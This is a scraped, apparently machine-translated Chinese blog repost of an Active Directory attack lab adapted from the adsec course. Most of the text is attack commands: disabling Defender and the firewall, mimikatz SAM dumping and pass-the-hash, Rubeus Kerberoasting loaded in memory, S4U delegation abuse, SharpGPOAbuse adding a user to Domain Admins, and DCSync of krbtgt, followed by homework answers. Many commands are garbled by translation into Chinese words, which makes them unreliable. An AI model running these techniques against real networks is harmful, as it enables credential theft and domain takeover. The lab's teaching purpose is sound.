zoukankan      html  css  js  c++  java
  • ActiveDirectorySecurity101 手册

    后置知识

    刚入门的小伙伴京东或者淘宝买这本书可以去看看

    Windows Server 2012 R2系统配置指南_戴有伟编着

    文章是根据https://github.com/cfalta/adse c改编的。

    环境搭建

    https://github.com/cfalta/adsec/tree/main/lab-setup

    • DC-Windows 2019
    • 用户杰克-Windows 2019
    • SqlServer-Windows 2019

    配置域控

    新增一个网卡,三个虚拟机使用这个网卡设置指定ip我是直接复制虚拟机,需要更改mac地址和sid还需要更改sid可以使用系统内置的工具sysprep或者另外一个newsid工具https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。
    图像.png


    图像.png

    图像.png


    图像.png

    图像.png

    • 关闭防火墙
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
    • 关闭Windows Defender
    卸载-WindowsFeature -Name Windows-Defender

    下载自动化脚本辅助安装
    https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

    运行createdomain脚本,自己修改里面的域名称。
    这里应该不能一步完成
    先执行

    安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

    重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。
    图像.png

    图像.png


    图像.png
    图像.png

    图像.png
    图像.png

    配置域内机

    在两台成员机器上使用以下两个域账号注册

    约翰·多伊约翰P@ssw0rd
    李小龙流血铁拳真棒!


    user1这台用john认证user2机器用blee登录
    图像.png

    攻击机器准备

    用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
    默认工具包下载地址
    https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

    猎犬安装及配置

    谷歌一下

    信息收集


    导入电源模块

    cd C: \a ttacker-tools
    cat -raw " .\PowerView.ps1 "  | 交换器

    获取当前域的基本信息和域控位置

    获取域
    获取域控制器

    图像.png
    查看有多少电脑和域内用户

    获取域计算机
    获取域用户

    过滤出域管出来

    获取域用户|  ? { $_ .memberof -like " *域管理员* " }
    
    获取域用户|  ? { $_ .memberof -like " *域管理员* " } |  选择 相同的帐户名
    

    图像.png
    图像.png

    课后习题

    参考答案我会选择最后面哦

    1. 域里有多少台计算机以及它们在什么上面运行?
    2. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
    3. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
    4. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
    5. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。

    NTLM的利用

    • 模仿
    • psexec

    需要管理员权限,使用本地管理员用户登录

    特权::调试
    令牌::提升
    lsadump::sam

    获得到管理员哈希
    7dfa0531d73101ca080c7379a9bff1c7 pth 攻击
    图像.png

    sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

    图像.png

    psexec.exe \\ user2 cmd

    图像.png

    课后习题

    1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
    2. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
    3. 如何解决 PTH 问题,请讲清楚原因。
    4. 是否有可能(可能会)完全不是NTLM?解释你的理由。

    Kerberos-烘焙

    预习资料网络——AS-REP Roasting
    加载插件

    cd C: \a ttacker-tools
    猫生的。\ PowerView.ps1 | 交换器
    猫生的。\I nvoke-Rubeus.ps1 | 交换器

    查询SPN,获得服务用户

    获取域用户-SPN |  选择 samaccountname、 description、pwdlastset、serviceprincipalname

    图像.png

    Rubeus 有一个统计 kerberos 数据的功能

    Invoke-Rubeus -Command " kerberoast /stats "

    获取目标账户的TGS

    Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

    这里的脚本是base64之后通过powershell内存加载
    图像.png

    函数 调用-Rubeus([string]$Command)
    {
    $Message = " base64 " ;
    
    $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
    [Rubeus.Program]::Main( $Command .Split( "  " ))
    }

    图像.png

    破解TGS

    . \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

    图像.png

    课后习题

    1. 描述一下您认为最好的缓解技术,并解释其原因。
    2. 还有一个用户会受到 ASREP 的影响,请找出来。
    3. 解释一下TGS vs. ASREP烘焙

    Kerberos(委托)

    之前设置的时候改json里面的数据,没有域改了委派用户
    图像.png

    Get-DomainUser -TrustedToAuth

    视委派的目标

    Get-DomainUser -TrustedToAuth |  选择 -ExpandProperty msds-allowedtodelegateto

    图像.png
    执行这个攻击的条件就是要知道用户的密码才行
    生成hash

    Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

    图像.png

    Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
    图像.png




    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT 
    

    图像.png

    查看检查的报告自己前面
    我设置错了,委派的目标应该设置成user2,user1 是,但都一样。
    图像.png

    ls \\ user1.wing.lab \C $

    通过wmi控制user1

    Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

    课后习题

    1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
    2. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”


    ACL攻击

    信息收集

    猫生的。\S harpound.ps1 | 交换器
    Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
    • CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
    • Stealth单线程启动。速度较慢,但安全。
    • PrettyJson 格式化.json文件。
    • NoSaveCache 不保存保存文件。


    启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases
    图像.png



    ❯ jdk11
    ❯ ./neo4j 开始

    图像.png

    先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录
    图像.png


    图像.png

    图像.png

    runas /user:wing.lab \s ervice1 powershell
    . \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName 默认域控制器策略 --force
    

    图像.png
    图像.png

    写完以后,等管理员更新组策略才有可能触发。
    手工弄弄。提权成功登陆到域控。
    图像.png

    图像.png

    图像.png

    课后习题

    • acl 攻击有哪些利用工具?

    权限维持

    权限维持的东西比较多

    • 金银笔记本
    • 后门
    • 等等等等


    一般DC权限就先执行

    lsadump::dcsync /user:krbtgt

    所有收到用户hash,也可以作为后门。

    课后习题

    • 自主学习这些权限维持方法的原理。

    参考答案

    我做的特别对,有错误请留言。

    信息收集

    powerview3.0 技巧
    https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

    1. 域里有多少台计算机以及它们在什么上面运行?

    图像.png

    1. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。

    图像.png

    1. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
    Get-DomainGroupMember -Identity 域管理员 -Recurse

    图像.png

    1. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?

    图像.png

    1. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
    获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

    图像.png

    NTLM

    猕猴桃命令大全

    1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
    privilege::debug - 提升为管理员权限
    token::elevate - 奖励奖励,获得其他用户的奖励系统权限
    1. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
    lsadump::dcsync /domain:wing.lab /user:bruce
    
    转储所有数据
    lsadump::dcsync /domain:wing.lab /all /csv
    1. 如何解决 PTH 问题,请讲清楚原因。
    • 打上打kb2871997禁止并且SID=500的管理员用户
    • 监控日志
    1. 是否有可能(可能会)完全不是NTLM?解释你的理由。
    • 审查收到的 NTLM 调查:允许对所有帐户的审查
    • 仅发送NTLMv2响应。

    第四点我不太确定。

    Kerberos(烘焙)

    1. 描述一下您认为最好的缓解技术,并解释其原因。
    • 禁止用户开启Do not require Kerberos preauthentication
    • 禁止弱口令
    1. 还有一个用户会受到 ASREP 的影响,请找出来。

    Get-DomainUser -PreauthNotRequired -Verbose

    1. 解释一下TGS vs. ASREP烘焙

    https://www.4hou.com/posts/YVyM

    Kerberos(委托)

    1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
    • psexec
    wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
    1. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”

    可以攻击域控

    访问控制列表

    acl 攻击有哪些利用工具?

    • github.com

    权限维持

    自主学习这些权限维持的原理。

  • 相关阅读:
    C#扩展方法
    asp.net mvc获取http body中的json
    ASP.NET MVC 获取表单数据
    @Html.DropDownList()的四种用法及自定义DropDownList扩展

    MVC5+EF6入门完整教程6:Partial View
    Day3.13组件切换
    Day3.12组件中的data和methods
    Day3.11定义私有组件
    Day3.10组件定义方式三
  • 原文地址:https://www.cnblogs.com/backlion/p/15598524.html
Copyright © 2011-2022 走看看